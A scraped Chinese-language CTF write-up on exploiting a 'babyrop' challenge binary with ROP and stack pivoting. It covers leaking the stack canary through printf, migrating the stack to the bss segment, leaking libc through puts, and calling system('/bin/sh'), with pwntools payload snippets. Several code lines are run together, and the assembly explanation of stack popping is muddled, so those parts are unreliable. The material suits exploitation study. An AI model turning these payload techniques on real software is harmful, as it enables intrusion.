ROP和栈迁移的探究

ROP是一种技巧 , 我们对execve函数进行拼凑来进行system /bin/sh 。栈迁移的特征是溢出0x10个字符 , 在本次getshell中 , 还碰到了如何利用printf函数来进行canary的泄露 。
ROP+栈迁移目标:

ROP和栈迁移的探究

文章插图
 
ROP chain
ROP和栈迁移的探究

文章插图
 
首先我们:
ROPgadget --binary babyrop
ROP和栈迁移的探究

文章插图
 
【ROP和栈迁移的探究】bss段地址:
readelf -S babyrop
ROP和栈迁移的探究

文章插图
 
找到rdi的地址:
ROP和栈迁移的探究

文章插图
 
我们用ida查看反汇编 , 圈中的是出错情况下的处置 , 我们暂时可以忽略 。
我们看到for循环可以输入25个字符 , 我们先输入0x18个字符 , 也就是24个字符 , 然后如果在输入一个字符就可以看到printf函数后面跟着一个%s , 且printf函数结束的标志是碰到x00 , 并且canary的的末尾标志也是x00 。
ROP和栈迁移的探究

文章插图
 
小端存储 , 我们首先用24个字符a对其他字符空间进行填充 , 然后用字符'y'把canary中的x00进行覆盖 , 这样我们就在y这个点时进行recv , 之后就可以泄露canary的内容 。
具体是这样的:
canary=u64(io.recv(7).rjust(8,'x00'))
然后再用x00对其进行填充:
ROP和栈迁移的探究

文章插图
 
此题的第二个坑点是在password这里 , 可以看到这里使用scanf函数来进行接受 , 所以我们只能填写地址 。
ROP和栈迁移的探究

文章插图
 
可以看到这个地址存储password:
ROP和栈迁移的探究

文章插图
 
我们进入vuln函数进行查看:
ROP和栈迁移的探究

文章插图
 
发现是可以多读0x10个字符的 , 这就是典型的栈迁移了:
gdb.attach(io)io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))gdb.attach(io)io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))gdb.attach(io)我们在这里下三个断点:
第一个attach代表的是没有迁移之前的 , 
ROP和栈迁移的探究

文章插图
 
可以看到RBP和RSP的情况 , 
ROP和栈迁移的探究

文章插图
 
可以看到现在的RBP已经变为0x601928 。
这里插入一下POP的汇编形式:
mov esp , ebpadd $8,esp首先我们把ebp的值给esp , 然后ebp+8 , 因为这里是64位程序 。
这里我们再看下一个attach:
ROP和栈迁移的探究

文章插图
 
可以看到新栈已经建立成功了 。
然后就是经典的rop了 , 寻找libc基址:
io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))#p64(0x601940) is fill bytelibc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']system=libc_base+libc.sym['system']hh=libc_base+libc.search('/bin/sh').next()最后我们开始写利用新栈:
system bin/sh
ROP和栈迁移的探究

文章插图
 

ROP和栈迁移的探究

文章插图
 
可以看到我们就拿到shell了 。
一点解释
栈迁移需要注意的点就是:
ROP和栈迁移的探究

文章插图
 
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))假如我们栈空间提升0x10:
ROP和栈迁移的探究

文章插图
 
我们需要先把buf的内容填充 , 然后就到了rsp , pop 指令的意思是把rsp地址的内容给rip 。


推荐阅读